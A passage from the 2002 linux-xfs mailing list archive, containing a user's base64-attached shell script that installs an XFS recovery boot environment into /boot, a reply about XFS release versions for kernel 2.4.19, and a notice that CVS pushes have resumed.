linux-xfs-bounce@oss.sgi.com X-original-sender: msinz@wgate.com Precedence: bulk X-list: linux-xfs This is a multi-part message in MIME format. --------------070204000908030202040200 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Christoph Hellwig wrote: > On Sat, Nov 23, 2002 at 11:21:54AM +0100, Ralf G. R. Bergs wrote: > >>Hi there, >> >>yesterday I replaced the motherboard of my home server (running Debian/GNU >>Linux 3.0) for a CPU upgrade (486-133 -> K6-III+ 400) and the network card. >>Therefore (to support the card) I had to recompile the kernel, and so I >>upgraded the kernel source from 2.4.19-xfs to yesterday's 2.4.20-rc2-xfs ("SGI >>XFS CVS-2002-11-22_06:00_UTC with ACLs, quota, no debug enabled.") >> >>Suddenly I noticed strange filesystem corruption. Even after a clean "halt" or >>"reboot" upon mounting the XFS filesystems the system would give me error >>messages like the following: > > > This was a rgeression I introduced in the xfs tree on thursday. it's fixed > now. let me apologize for the pain it caused to you. Well, it did force me to do some cleanup on my recovery tools. I also found out that it is very bad when you have a small disk with XFS. (Say 33meg or so...) As my /boot is XFS since my cluster kernels are compiled down to only support XFS and NFS, it makes for a problem recovering such small partitions. (xfs_restore does not even begin is there is only on allocation group - not even if it may be something simple :-() Anyway, I would like to submit the following tool that I have written up to install into /boot a special recovery support system. It assumes lilo as the boot loader and, if you let it update your lilo.conf, it assumes that there is a linux.lastchance kernel (which is a kernel that I keep around that is known to be good). This is all also devfs based. (I know, I could fix that, but my direct need was to support my environment...) Anyway, it installs a set of tools to get you a minimal shell that can be used to recover and an auto-recover mode (which is not that great but good enough to cover the simple cases) Read the script for more details... (Oh, and the copying of kernel modules will get more than you need but it was the easy way to manage this. On my laptop, the recovery stuff added just under 4meg of files to /boot) REMINDER - this requires DEVFS - I am sure it would not be too much work to make a non-DEVFS version. It does handle SCSI and IDE. It also handles full disk volumes and partitions that the kernel supports. -- Michael Sinz -- Director, Systems Engineering -- Worldgate Communications A master's secrets are only as good as the master's ability to explain them to others. --------------070204000908030202040200 Content-Type: application/x-java-vm; name="InstallRecoveryBoot" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="InstallRecoveryBoot" IyEvYmluL3NoCiMKIyAkSWQ6IEluc3RhbGxSZWNvdmVyeUJvb3QgMjAwMi8x MS8yMyAtLSBNS1NvZnQgRGV2ZWxvcG1lbnQgJAojCiMgVGhpcyBtb2R1bGUg Y29udGFpbnMgdGhlIHNjcmlwdCB0aGF0LCB3aGVuIHJ1biwgd2lsbCBwdXQg b250byB0aGUgL2Jvb3QKIyBwYXJ0aXRpb24sIGEgcmVjb3ZlcnkgYm9vdCBm ZWF0dXJlLiAgIFRoZSBzY3JpcHQgd2lsbCBhbHNvIGFkZCB0aGUgZW50cnkK IyBpbnRvIHRoZSBsaWxvLmNvbmYgc3VjaCB0aGF0IGl0IGNhbiBiZSB1c2Vk LgojCiMgTk9URSAtIElmIHlvdSBkbyBub3QgY2xlYW4gb3V0IHRoZSAvbGli L21vZHVsZXMgdHJlZSBmcm9tIHZhcmlvdXMga2VybmVsCiMgYnVpbGRzLCB5 b3UKIwojIE5vdGUgdGhhdCB0aGlzIHNjcmlwdCB3aWxsIGRlc3Ryb3kgYW55 IHJlY292ZXJ5IGJvb3QgZmVhdHVyZSB0aGF0IGl0CiMgbWF5IGhhdmUgYWxy ZWFkeSBpbnN0YWxsZWQgaW4gb3JkZXIgdG8gYmUgYWJsZSB0byBlbnN1cmUg dGhhdCB0aGUgbmV3CiMgb25lIGlzIGNvbXBsZXRlIGFuZCBjb3JyZWN0Lgoj CiMjIE9ubHkgcm9vdCBjYW4gcnVuIHRoaXMKaWYgWyBgaWQgLXVgICE9IDAg XTsgdGhlbgoJZWNobyAiT25seSByb290IGNhbiBydW4gdGhpcyBzY3JpcHQh IgoJZXhpdCAxCmZpCgojIyBSZW1vdW50IC9ib290IGFzIHJlYWQtd3JpdGUu Li4KbW91bnQgLW8gcncscmVtb3VudCAvYm9vdAppZiBbICQ/ICE9IDAgXTsg dGhlbgoJZWNobyAiVW5hYmxlIHRvIG1vdW50IC9ib290IGFzIHJlYWQvd3Jp dGUuICBJcyAvYm9vdCBhIHBhcnRpdGlvbj8iCglleGl0IDEKZmkKCmVjaG8g Ikluc3RhbGxpbmcgcmVjb3ZlcnkgYm9vdCBmZWF0dXJlIGludG8gL2Jvb3Qi CgojIyBNYWtlIHN1cmUgdGhhdCBpdCBpcyBhbGwganVzdCBvd25lZCBieSBy b290Li4uCnVtYXNrIDA3NwoKIyMgQ2xlYW4gdXAgYW55IG9sZCBpbnN0YWxs CnJtIC1yZiAvYm9vdC9iaW4gL2Jvb3QvbGliIC9ib290L2V0YyAvYm9vdC9z YmluIC9ib290L2Jvb3QgL2Jvb3QvZGV2IC9ib290L3Byb2MgL2Jvb3QvdmFy IC9ib290L3RtcAoKIyMgR2V0IHRoZSBzaXplIGJlZm9yZSB3ZSBpbnN0YWxs CmJlZm9yZV9zaXplPSJgZHUgLXNiIC9ib290YCIKCm1rZGlyIC1wIC1tIDcw MCAvYm9vdC9iaW4gL2Jvb3QvbGliIC9ib290L2V0YyAvYm9vdC9zYmluCm1r ZGlyIC1wIC1tIDAwMCAvYm9vdC9ib290IC9ib290L3Byb2MgL2Jvb3QvZGV2 IC9ib290L3ZhciAvYm9vdC90bXAKCiMjIFdlIG5lZWQgYW4gInNoIiBwcm9j ZXNzb3IgdG9vLi4uCmxuIC1zIGJhc2ggL2Jvb3QvYmluL3NoCgojIyBTd2Fw b2ZmIGlzIGp1c3QgYSBzb2Z0bGluayB0byBzd2Fwb24KbG4gLXMgc3dhcG9u IC9ib290L3NiaW4vc3dhcG9mZgoKIyMgQW5kLCBzaW5jZSB3ZSBtb3VudCBy ZWFkLW9ubHksIHB1dCAvcHJvYy9tb3VudHMgaW4gL2V0Yy9tdGFiCmxuIC1z IC9wcm9jL21vdW50cyAvYm9vdC9ldGMvbXRhYgoKIyMgTWFrZSB0aGUgc3Bl Y2lhbCByZWNvdmVyeSBmc3RhYiAtIHRoaXMgaXMgbmVlZGVkIHRvCiMjIG1h a2Ugc3VyZSB0aGF0IHdlIGNhbiBydW4gaW4gdGhpcyBtb2RlCmNhdCA8PCAn Ym9vdC1mc3RhYicgPiAvYm9vdC9ldGMvZnN0YWIKIyAkSWQ6IEluc3RhbGxS ZWNvdmVyeUJvb3QgMjAwMi8xMS8yMyAtLSBNS1NvZnQgRGV2ZWxvcG1lbnQg JAojCiMgVGhpcyBpcyB0aGUgc3BlY2lhbCByZWNvdmVyeSBib290IGZzdGFi CiMgV2UgbW91bnQgdGhlIHJlY292ZXJ5IGJvb3QgYXMgcmVhZC1vbmx5LCBq dXN0IHRvIGJlIHNhZmUKIyBXZSBhbHNvIGJpbmQtbW91bnQgaXQgaW50byAv Ym9vdCBpbiBjYXNlIGxpbG8uY29uZiBpcyBuZWVkZWQuCiMgV2UgYWxzbyBt b3VudCAvdmFyIGFuZCAvdG1wIGFzIHRtcGZzIG1vdW50cyBzdWNoIHRoYXQg d2UgY2FuCiMgZG8gc29tZSBkaXNrIG9wZXJhdGlvbnMgKGV2ZXJ5dGhpbmcg ZWxzZSBpcyByZWFkLW9ubHkpCi9kZXYvcm9vdAkvCWF1dG8Jcm8sc3luYyAg MCAwCi8JCS9ib290CW5vbmUJYmluZCAgICAgMCAwCm5vbmUJCS9wcm9jCXBy b2MJZGVmYXVsdHMgMCAwCm5vbmUJCS92YXIJdG1wZnMJZGVmYXVsdHMgMCAw Cm5vbmUJCS90bXAJdG1wZnMJZGVmYXVsdHMgMCAwCiMKIyMjIEFueSBzd2Fw IHBhcnRpdGlvbnMgZm91bmQgaW4gdGhlIHN5c3RlbSdzIGZzdGFiIGdvIGhl cmU6CmJvb3QtZnN0YWIKCiMjIE5vdywgZ3JhYiwgZnJvbSB0aGUgc3lzdGVt IGZzdGFiIGFueSBzd2FwIGluZm9ybWF0aW9uLi4uCmdyZXAgIl4vZGV2Ly4q c3dhcC4qc3dhcCIgL2V0Yy9mc3RhYiA+Pi9ib290L2V0Yy9mc3RhYgoKIyMg VGhlIGNvbW1vbiBiaXQgb2YgY29kZSB0aGF0IHN0YXJ0cyB0aGUgcmVjb3Zl cnkgc3lzdGVtLgpjYXQgPDwgJ2NvbW1vbi1pbml0JyA+L2Jvb3Qvc2Jpbi9p bml0CiMgJElkOiBJbnN0YWxsUmVjb3ZlcnlCb290IDIwMDIvMTEvMjMgLS0g TUtTb2Z0IERldmVsb3BtZW50ICQKIwpleHBvcnQgUEFUSD0iL3NiaW46L2Jp biIKZXhwb3J0IFRFUk09ImFuc2kiCm1vdW50IC1uIC1hCgojIyBTdGFydCBh IHByZS1wcm9iaW5nIHNoZWxsIG9uIHZjLzQganVzdCBhcyBhIGJhY2t1cCBp biBjYXNlCiMjIHRoZXJlIGlzIHNvbWUgcHJvYmxlbSB0aGF0IG5lZWRzIGEg c2hlbGwuCmV4cG9ydCBQUzE9IlhGUyBwcmUtUmVjb3ZlcnkgU2hlbGxcblx3 ICMgIgpiYXNoIDA8Pi9kZXYvdmMvNCAxPiYwIDI+JjAgJgoKTGFzdFdvcmQo KQp7Cgl3aGlsZSBbICJ4JDEiICE9ICJ4IiBdOyBkbwoJCXdvcmQ9IiQxIgoJ CXNoaWZ0Cglkb25lCgllY2hvICR3b3JkCn0KCmJvb3RkZXY9ImBscyAtbCAv ZGV2L3Jvb3RgIgoKIyMgRXhwb3J0IHRoZSBib290IGRldmljZSBuYW1lIChz byB3ZSBza2lwIGl0KQpleHBvcnQgeGZzX2Jvb3Q9Ii9kZXYvYExhc3RXb3Jk ICRib290ZGV2YCIKCiMjIFN0YXJ0IGJ1aWxkaW5nIHRoZSBsaXN0IG9mIFhG UyBwYXJ0aXRpb25zCiMjIChXZSBhc3N1bWUgdGhhdCB0aGUgYm9vdCBkZXZp Y2UgaXMgWEZTIGp1c3QKIyMgc28gdGhhdCB3ZSBjYW4gZGlzcGxheSBzb21l dGhpbmcgdXNlZnVsIHRoZXJlKQpleHBvcnQgeGZzX3BhcnRzPSR4ZnNfYm9v dAoKIyMgVHVybiBvbiBzd2FwLCBpZiB3ZSBoYXZlIGl0Li4uCnN3YXBvbiAt YSAtZQoKIyMgVHJ5IGFuZCBsZXQgc29tZSBhc3luYyBib290IGl0ZW1zIGZp bmlzaAojIyBzbyBsZXRzIHdhaXQgZm9yIDUgc2Vjb25kcy4uLgplY2hvICIi CmVjaG8gLW4gIldhaXRpbmcgZm9yIHRoZSBkdXN0IHRvIHNldHRsZSAuLi4g Igp1c2xlZXAgNTAwMDAwMAplY2hvICJkb25lIgplY2hvIC1uICJQcm9iaW5n IGRpc2socykgYW5kIHBhcnRpdGlvbihzKSAuLi4gIgoKIyMgTm90ZSB0aGF0 IHdlIGxvb2sgZm9yIGFsbCBwYXJ0cyBvZiBhIGRpc2sgb24KIyMgYW55IGhv c3QvYnVzL3RhcmdldC9sdW4gIC0gIFRoaXMgaW5jbHVkZXMKIyMgIndob2xl IiBkaXNrcyB3aGljaCBkbyBub3QgaGF2ZSBwYXJ0aXRpb25zCiMjIFRoaXMg c2hvdWxkIHdvcmsgZm9yIHNjc2kgYW5kIGlkZQojIwojIyBBcmchIC0gbW91 bnQveGZzL2tlcm5lbCBvdXRwdXQgZXZlbiBpZiByZWRpcmVjdGVkIQojIyBT bywgd2UganVtcCB0byB2Yy8yIHRvIGRvIGFsbCBvZiB0aGUgd29yayAoYW5k IHRodXMKIyMgZ2V0IGFsbCBvZiB0aGUgbmFzdHkgZGV0YWlscyB0aGVyZSkg YW5kIHRoZW4gYm91bmNlCiMjIGJhY2sgYWZ0ZXJ3YXJkcy4uLgpjaHZ0IDIK ZWNobyAiUHJvYmluZyBkaXNrKHMpIGFuZCBwYXJ0aXRpb24ocykgLi4uIiAw PD4vZGV2L3ZjLzIgMT4mMCAyPiYwCmZvciBwYXJ0IGluIC9kZXYvKi9ob3N0 Ki9idXMqL3RhcmdldCovbHVuKi8qOyBkbwoJbWtkaXIgLXAgL3RtcC90ZXN0 CgllY2hvICIkcGFydCAuLi4gIgoJaWYgWyAiJHBhcnQiICE9ICIkeGZzX2Jv b3QiIF07IHRoZW4KCQkjIyBOb3RlIHRoYXQgdXNpbmcgbW91bnQgdG8gdGVz dCBpZiB0aGUKCQkjIyBwYXJ0aXRpb24gaXMgWEZTIGRvZXMgdHdvIHRoaW5n cyBmb3IgdXM6CgkJIyMgMSkgIEl0IGZvcmNlcyBYRlMgdG8gcmVwbGF5IGFu eXRoaW5nIHRoYXQgaXMKCQkjIyAgICAgaW4gdGhlIGxvZyBmb3IgdXMKCQkj IyAyKSAgSXQga2VlcHMgdXMgZnJvbSB0cnlpbmcgdG8gYXV0by1maXggYW55 CgkJIyMgICAgIHBhcnRpdGlvbiB0aGF0IGlzIHNvIGNvcnJ1cHRlZCB0aGF0 CgkJIyMgICAgIG1vdW50IGNhbiBub3QgZXZlbiByZXBsYXkgdGhlIGxvZwoJ CW1vdW50IC1uIC10IHhmcyAkcGFydCAvdG1wL3Rlc3QKCQlpZiBbICQ/ID0g MCBdOyB0aGVuCgkJCXhmc19wYXJ0cz0iJHhmc19wYXJ0cyAkcGFydCIKCQlm aQoJCXVtb3VudCAvdG1wL3Rlc3QKCWZpCgllY2hvICIiCglybWRpciAvdG1w L3Rlc3QKZG9uZSAwPD4vZGV2L3ZjLzIgMT4mMCAyPiYwCmNodnQgMQplY2hv ICJkb25lIgoKIyMgU3RhcnQgdGhlIHJlbWFpbmluZyByZWNvdmVyeSBwcm9j ZXNzCmVjaG8gLWUgIlxuWEZTIFJlY292ZXJ5IFN5c3RlbSAgKGRldGFpbHMg b24gdmMvMilcbiIKCiMjIE5vdyBmb3IgZWFjaCBYRlMgcGFydGl0aW9uIHRo YXQgaXMgbm90IHRoZQojIyBib290IHBhcnRpdGlvbiB3ZSBydW4geGZzX2No ZWNrIHRvIHNlZSBpZiBhbnl0aGluZwojIyBpcyBldmVuIHJlbW90ZWx5IHdy b25nLi4uCiMjIE5vdGUgdGhhdCB0aGlzIGV4cG9ydHMgdGhlIHhmc19uZWVk c19yZXBhaXIgdmFyaWFibGUKIyMgd2hpY2ggd2lsbCBjb250YWluIGFsbCBv ZiB0aGUgZGlza3MvcGFydGl0aW9ucyB0aGF0CiMjIGhhdmUgc29tZXRoaW5n IHdyb25nIHdpdGggdGhlbS4KZWNobyAiWEZTIFBhcnRpdGlvbnM6IgplY2hv IC1lICJcblxuWEZTIFBhcnRpdGlvbnM6IChkZXRhaWxzKSIgMDw+L2Rldi92 Yy8yIDE+JjAgMj4mMApleHBvcnQgeGZzX25lZWRzX3JlcGFpcj0iIgpmb3Ig cGFydCBpbiAkeGZzX3BhcnRzOyBkbwoJaWYgWyAiJHBhcnQiICE9ICIkeGZz X2Jvb3QiIF07IHRoZW4KCQllY2hvIC1uICJDaGVja2luZyAkcGFydCAuLi4g IgoJCWVjaG8gLWUgIlxuQ2hlY2tpbmcgJHBhcnQiIDA8Pi9kZXYvdmMvMiAx PiYwIDI+JjAKCQl4ZnNfY2hlY2sgJHBhcnQgMDw+L2Rldi92Yy8yIDE+JjAg Mj4mMAoJCWVjaG8gLWUgLW4gIlxiXGJcYlxiLSAiCgkJaWYgWyAkPyA9IDAg XTsgdGhlbgoJCQllY2hvICJPSyIKCQllbHNlCgkJCWVjaG8gIm5lZWRzIHJl cGFpciIKCQkJeGZzX25lZWRzX3JlcGFpcj0iJHhmc19uZWVkc19yZXBhaXIg JHBhcnQiCgkJZmkKCWVsc2UKCQllY2hvICJTa2lwcGluZyAkcGFydCAtIGJv b3QgcGFydGl0aW9uIgoJZmkKZG9uZQplY2hvICIiCgojIyBTdGFydCBhIHBv c3QtcHJvYmUgcmVjb3Zlcnkgc2hlbGwgb24gdmMvMwojIyBUaGlzIGlzIGp1 c3QgaW4gY2FzZSB5b3UgbmVlZCBtb3JlIHRoYW4gMSBmb3Igc29tZSB3b3Jr CmV4cG9ydCBQUzE9IlhGUyBSZWNvdmVyeSBTaGVsbFxuXHcgIyAiCmJhc2gg LWMgJ3NldCA7IGVjaG8gLWUgIlxuUnVuIC9zYmluL3JlcGFpciB0byBhdXRv LXJlcGFpclxuIiA7IGV4ZWMgYmFzaCcgMDw+L2Rldi92Yy8zIDE+JjAgMj4m MCAmCgojIyBOb3cgc3RhcnQgdGhlIHNoZWxsIG9yIGF1dG8tcmVwYWlyIHNj cmlwdCAoZGVwZW5kaW5nKQpleHBvcnQgUFMxPSJYRlMgUmVjb3ZlcnkgU2hl bGwgKGV4aXQgdG8gcmVib290KSBbYXV0by1yZXBhaXIgPSAvc2Jpbi9yZXBh aXJdXG5cdyAjICIKJEFVVE9fWEZTX1JFUEFJUgoKZWNobyAtbiAicmVib290 aW5nLi4uIgpzeW5jCnN3YXBvZmYgLWEKdW1vdW50IC1hID4vZGV2L251bGwg Mj4mMQpzeW5jCmVjaG8gLW4gIiAgcGxlYXNlIHdhaXQuLi4iCnJlYm9vdCAt ZiAtZApjb21tb24taW5pdApjaG1vZCA1MDAgL2Jvb3Qvc2Jpbi9pbml0Cgoj IyBNYWtlIG91dCBpbnRlcmFjdGl2ZSByZWNvdmVyeSBpbml0IHNjcmlwdApj YXQgPDwgJ21hbnVhbC1pbml0JyA+L2Jvb3Qvc2Jpbi9pbml0LW1hbnVhbAoj IS9iaW4vYmFzaAojCiMgJElkOiBJbnN0YWxsUmVjb3ZlcnlCb290IDIwMDIv MTEvMjMgLS0gTUtTb2Z0IERldmVsb3BtZW50ICQKIwpBVVRPX1hGU19SRVBB SVI9YmFzaAouIC9zYmluL2luaXQKbWFudWFsLWluaXQKY2htb2QgNTAwIC9i b290L3NiaW4vaW5pdC1tYW51YWwgfHwgZXhpdCAxCgojIyBNYWtlIG91ciBh dXRvZml4IGluaXQgc2NyaXB0CmNhdCA8PCAnYXV0by1pbml0JyA+L2Jvb3Qv c2Jpbi9pbml0LWF1dG8KIyEvYmluL2Jhc2gKIwojICRJZDogSW5zdGFsbFJl Y292ZXJ5Qm9vdCAyMDAyLzExLzIzIC0tIE1LU29mdCBEZXZlbG9wbWVudCAk CiMKQVVUT19YRlNfUkVQQUlSPS9zYmluL3JlcGFpcgouIC9zYmluL2luaXQK YXV0by1pbml0CmNobW9kIDUwMCAvYm9vdC9zYmluL2luaXQtYXV0byB8fCBl eGl0IDEKCiMjIE1ha2UgdGhlIGF1dG8tcmVwYWlyIHNjcmlwdC9jb21tYW5k CmNhdCA8PCAnYXV0by1yZXBhaXInID4vYm9vdC9zYmluL3JlcGFpcgojIS9i aW4vYmFzaAojCiMgJElkOiBJbnN0YWxsUmVjb3ZlcnlCb290IDIwMDIvMTEv MjMgLS0gTUtTb2Z0IERldmVsb3BtZW50ICQKIwojIyBUaGlzIHNjcmlwdCB1 c2VzIHRoZSBleHBvcnRlZCB4ZnNfbmVlZHNfcmVwYWlyCiMjIHZhcmlhYmxl IHRvIGRvIGl0cyB3b3JrLiAgVGhpcyB2YXJpYWJsZSBzaG91bGQKIyMgY29u dGFpbiBhbGwgb2YgdGhlIGRldmljZXMgdGhhdCBhcmUgWEZTIGZpbGVzeXN0 ZW1zCiMjIHRoYXQgZGlkIG5vdCBwYXNzIHhmc19jaGVjay4KX3hmc19uZWVk c19yZXBhaXI9InggJHhmc19uZWVkc19yZXBhaXIiCmZvciBwYXJ0IGluICRf eGZzX25lZWRzX3JlcGFpcjsgZG8KCWlmIFsgIiRwYXJ0IiAhPSAieCIgXTsg dGhlbgoJCWVjaG8gIlJlcGFpcmluZyAkcGFydC4uLiIKCQl4ZnNfcmVwYWly ICRwYXJ0CgkJZWNobyAiRmluaXNoZWQgJHBhcnQiCgkJZWNobyAiIgoJZmkK ZG9uZQphdXRvLXJlcGFpcgpjaG1vZCA1MDAgL2Jvb3Qvc2Jpbi9yZXBhaXIg fHwgZXhpdCAxCgojIyBDb3B5IHRoZSBmc3RhYiBvZiB0aGUgcmVhbCBzeXN0 ZW0gaW50byBhIHNwZWNpYWwgZmlsZQojIyBmb3IgZWFzaWVyIHJlZmVyZW5j ZS4uLgpjcCAvZXRjL2ZzdGFiIC9ib290L2V0Yy9mc3RhYi5zeXN0ZW0KCiMj IEEgc2ltcGxlIHJvdXRpbmUgdG8gY2hlY2sgdGhlIGxpYnJhcmllcyBuZWVk ZWQuLi4KQ2hlY2tMaWJzICgpCnsKCWlmIFsgIiQxIiAhPSAibm90IiBdOyB0 aGVuCgkJbGliZmlsZT0kMwoJCWxpYnRhcmdldD0iL2Jvb3QvbGliL2BiYXNl bmFtZSAkMWAiCgoJCWlmIFsgISAtZiAkbGlidGFyZ2V0IF07IHRoZW4KCQkJ ZWNobyAiICAgIHJlcXVpcmVzICRsaWJ0YXJnZXQiCgkJCWluc3RhbGwgLW0g NTAwIC0tc3RyaXAgIiRsaWJmaWxlIiAiJGxpYnRhcmdldCIgfHwgZXhpdCAx CgkJZmkKCWZpCn0KCmZvciBmaWxlIGluIFwKCS9iaW4vYmFzaAkJXAoJL2Jp bi9jYXQJCVwKCS9iaW4vY2htb2QJCVwKCS9iaW4vY2hvd24JCVwKCS9iaW4v Y3AJCQlcCgkvYmluL2RkCQkJXAoJL2Jpbi9kZgkJCVwKCS9iaW4vZG1lc2cJ CVwKCS9iaW4vZWNobwkJXAoJL2Jpbi9ncmVwCQlcCgkvYmluL2xzCQkJXAoJ L2Jpbi9ta2RpcgkJXAoJL2Jpbi9tb3JlCQlcCgkvYmluL21vdW50CQlcCgkv YmluL212CQkJXAoJL2Jpbi9ybQkJCVwKCS9iaW4vcm1kaXIJCVwKCS9iaW4v c3luYwkJXAoJL2Jpbi91bW91bnQJCVwKCS9iaW4vdXNsZWVwCQlcCgkvYmlu L3ZpCQkJXAoJL2V0Yy9saWxvLmNvbmYJCVwKCS9zYmluL2xpbG8JCVwKCS9z YmluL3JlYm9vdAkJXAoJL3NiaW4vc3dhcG9uCQlcCgkvc2Jpbi94ZnNfcmVw YWlyCVwKCS91c3IvYmluL2NodnQJCVwKCS91c3IvYmluL2R1CQlcCgkvdXNy L3NiaW4vY2hyb290CVwKCS91c3Ivc2Jpbi94ZnNfY2hlY2sJXAoJL3Vzci9z YmluL3hmc19kYglcCjsgZG8KCSMjIFdlIGRvbid0IGhhdmUgYSAiL3VzciIg aW4gdGhlIGJvb3QKCSMjIHJlY292ZXJ5IGFyZWEgc28gd2UgZGVsZXRlICIv dXNyIgoJIyMgaWYgaXQgaXMgdGhlcmUuLi4KCXRhcmdldD0iL2Jvb3Qke2Zp bGUjIy91c3J9IgoJCgkjIyBDb3B5IHRoZSBmaWxlCgllY2hvICIgIGluc3Rh bGxpbmcgJHRhcmdldCIKCWluc3RhbGwgLW0gNTAwIC0tc3RyaXAgIiRmaWxl IiAiJHRhcmdldCIgMj4vZGV2L251bGwgfHwgZXhpdCAxCgkKCSMjIE5vdywg ZG8gd2UgYWxzbyB3YW50IHRvIG1ha2Ugc3VyZSB0aGF0CgkjIyB3ZSBoYXZl IHRoZSBzaGFyZWQgbGlicmFyaWVzIHRoYXQgYXJlIG5lZWRlZAoJSUZTPSQn XG4nCglmb3IgbGliIGluIGBsZGQgJGZpbGUgMj4vZGV2L251bGxgOyBkbwoJ CXVuc2V0IElGUwoJCUNoZWNrTGlicyAkbGliCglkb25lCmRvbmUKCiMjIEp1 c3QgdG8gYmUgc3VyZSB0aGF0IHdlIGhhdmUgdGhlIG1vZHVsZXMgZm9yCiMj IHdoYXRldmVyIGtlcm5lbCB3ZSBhcmUgdXNpbmcuLi4gIChzdHJpcHBlZCA6 LSkKZWNobyAiICBpbnN0YWxsaW5nIGtlcm5lbCBtb2R1bGVzLi4uIgpmaW5k IC9saWIvbW9kdWxlcyAtdHlwZSBkIC1leGVjIG1rZGlyIC1wIC9ib290XHtc fSBcOwpmaW5kIC9saWIvbW9kdWxlcyAtdHlwZSBmIC1leGVjIGluc3RhbGwg LW0gNTAwIC0tc3RyaXAgXHtcfSAvYm9vdFx7XH0gXDsgMj4vZGV2L251bGwK CiMjIENoZWNrIGlmIG91ciBsaWxvLmNvbmYgaGFzIHRoZSByZWNvdmVyeSBv cHRpb24geWV0CmlmIFsgInhgZ3JlcCBSZWNvdmVyeSAvZXRjL2xpbG8uY29u ZmAiID09ICJ4IiBdOyB0aGVuCgljYXQgPDwgJ2xpbG8uY29uZicgPj4vZXRj L2xpbG8uY29uZgoKIyBSZWNvdmVyeSBlbnRyaWVzCmltYWdlPS9ib290L2xp bnV4Lmxhc3RjaGFuY2UKICAgICAgICBsYWJlbD1SZWNvdmVyeQoJcm9vdD0v ZGV2L2lkZS9ob3N0MC9idXMwL3RhcmdldDAvbHVuMC9wYXJ0MQogICAgICAg IGFwcGVuZD0iaW5pdD0vc2Jpbi9pbml0LW1hbnVhbCIKCmltYWdlPS9ib290 L2xpbnV4Lmxhc3RjaGFuY2UKICAgICAgICBsYWJlbD1BdXRvZml4Cglyb290 PS9kZXYvaWRlL2hvc3QwL2J1czAvdGFyZ2V0MC9sdW4wL3BhcnQxCiAgICAg ICAgYXBwZW5kPSJpbml0PS9zYmluL2luaXQtYXV0byIKbGlsby5jb25mCmZp CgojIyBSdW4gbGlsbywganVzdCB0byBiZSBzdXJlLi4uCmVjaG8gIlJ1bm5p bmcgbGlsby4uLiIKbGlsbwoKIyMgR2V0IHRoZSBzaXplIGFmdGVyIHdlIGlu c3RhbGwKYWZ0ZXJfc2l6ZT0iYGR1IC1zYiAvYm9vdGAiCgojIyBOb3csIHJl bW91bnQgL2Jvb3QgYmFzZWQgb24gaXRzIGZzdGFiIHNldHRpbmdzLi4uCnN5 bmMKbW91bnQgLW8gcmVtb3VudCAvYm9vdCB8fCBleGl0CgplY2hvICJEb25l LiIKZWNobyAiIgoKQ2FsY1VzYWdlKCkKewoJZGlmZj0kKCggJDMgLSAkMSAp KQoJZWNobyAiUmVjb3ZlcnkgZmVhdHVyZSBpcyB1c2luZyAkZGlmZiBieXRl cyBpbiAvYm9vdCIKfQoKQ2FsY1VzYWdlICRiZWZvcmVfc2l6ZSAkYWZ0ZXJf c2l6ZQo= --------------070204000908030202040200-- From owner-linux-xfs@oss.sgi.com Mon Nov 25 06:22:10 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 25 Nov 2002 06:22:12 -0800 (PST) Received: from sandeen.net (sandeen.net [209.173.210.139]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAPEM9uR004362 for ; Mon, 25 Nov 2002 06:22:09 -0800 Received: by sandeen.net (Postfix, from userid 48) id 9240A28010C; Mon, 25 Nov 2002 08:24:38 -0600 (CST) Received: from 10.0.1.10 ( [10.0.1.10]) as user sandeen@mail.sandeen.net by sandeen.net with HTTP; Mon, 25 Nov 2002 08:24:37 -0600 Message-ID: <1038234277.3de232a59aea8@sandeen.net> Date: Mon, 25 Nov 2002 08:24:37 -0600 From: sandeen@sandeen.net To: KARSCHNICK Ralf Otto Cc: "'linux-xfs@oss.sgi.com'" Subject: Re: Versions References: <6E94A5352294F4488885206154EC53A00498AE@NTFUSRV1> In-Reply-To: <6E94A5352294F4488885206154EC53A00498AE@NTFUSRV1> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.1 X-Originating-IP: X-archive-position: 1857 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: linux-xfs As the READMEs in the "patches" directory say, everything in "patches/" are just snapshots of CVS.. The actual releases are under the Release-X directories. There is no 1:1 correlation between the two; and you are correct, the latest full release (XFS 1.1) is not available for 2.4.19. However, the Release-1.2preX releases -are- available for 2.4.19, so I'd suggest that you give those a try. -Eric Quoting KARSCHNICK Ralf Otto : > Hi, > > just a little Question about Versions: how > can I determine, which Version of xfs (1.0, 1.1) > the patches in the "patches" directory are. > I am using Kernel 2.4.19 and of course, I > would like to use it with xfs 1.1 (or higher, > as soon as Version 1.2 is marked as stable), > but the release patches are available for Kernel > Version 2.4.18 only. ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From owner-linux-xfs@oss.sgi.com Mon Nov 25 08:30:39 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 25 Nov 2002 08:30:42 -0800 (PST) Received: from lips.thebarn.com (lips.borg.umn.edu [160.94.232.50]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAPGUduR011740 for ; Mon, 25 Nov 2002 08:30:39 -0800 Received: from lupo (c-24-245-56-70.mn.client2.attbi.com [24.245.56.70]) (authenticated bits=0) by lips.thebarn.com (8.12.6/8.12.6) with ESMTP id gAPGX7XR004631; Mon, 25 Nov 2002 10:33:07 -0600 (CST) (envelope-from cattelan@thebarn.com) Subject: Re: TAKE - merge up to 2.4.20-rc3 From: Russell Cattelan To: Nathan Scott Cc: Diffie , linux-xfs@oss.sgi.com In-Reply-To: <20021125054907.GF610@frodo.melbourne.sgi.com> References: <200211230443.gAN4hPI01190@taclab54.munich.sgi.com> <1496.192.168.0.254.1038175045.squirrel@www.blazebox.homeip.net> <20021125054907.GF610@frodo.melbourne.sgi.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 25 Nov 2002 10:33:07 -0600 Message-Id: <1038241988.18272.10.camel@lupo.thebarn.com> Mime-Version: 1.0 X-archive-position: 1858 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@thebarn.com Precedence: bulk X-list: linux-xfs CVS pushes are now working again. please resume your normal checkout activities. On 